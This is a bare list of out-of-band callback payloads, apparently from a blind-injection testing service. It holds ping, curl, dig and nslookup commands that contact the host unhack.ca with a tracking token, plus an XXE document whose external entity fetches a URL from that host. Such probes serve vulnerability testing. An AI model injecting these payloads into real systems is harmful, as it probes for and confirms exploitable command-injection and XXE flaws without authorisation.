$ ping -c1 -p 00891d5651da34e0cf1bfb788bf80800 unhack.ca
$ curl http://unhack.ca/p/891d5651da34e0cf1bfb788bf808
$ dig 891d5651da34e0cf1bfb788bf808 @unhack.ca
$ dig 891d5651da34e0cf1bfb788bf808.ns.unhack.ca
C:\> nslookup 891d5651da34e0cf1bfb788bf808 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/891d5651da34e0cf1bfb788bf808">]> <foo>&xxe;</foo>